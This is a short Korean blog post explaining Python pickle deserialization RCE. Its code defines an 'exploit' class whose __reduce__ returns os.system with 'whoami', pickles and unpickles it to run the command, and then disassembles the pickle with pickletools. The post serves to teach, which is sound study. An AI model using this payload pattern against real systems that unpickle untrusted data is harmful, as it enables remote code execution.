cgy12306
Pickle 취약점 본문
파이썬 pickle 모듈에서 loads를 수행 시 __reduce__ 메소드를 통해 deserialize 할때 발생하는 RCE 취약점
import pickle
import os
class exploit():
def __reduce__(self):
return (os.system,("whoami", ))
pd = pickle.dumps(exploit())
pl = pickle.loads(pd)
print(pl)
__reduce__ 메소드는 튜플을 반환
whoami 명령 수행 확인
pickletools를 통해 pickle 데이터를 분석할 수 있음
import pickle
import os
import pickletools
class exploit():
def __reduce__(self):
return (os.system,("whoami", ))
pd = pickle.dumps(exploit())
pickletools.dis(pd)
실행하는 운영체제마다 내용이 달라진다. windows에서는 위와 같이 구조가 되어 있다.
linux에서 돌릴경우 offset 12부터 posix가 들어가게되고, windows에는 nt가 들어간다.
pickle 구조체 참고
Comments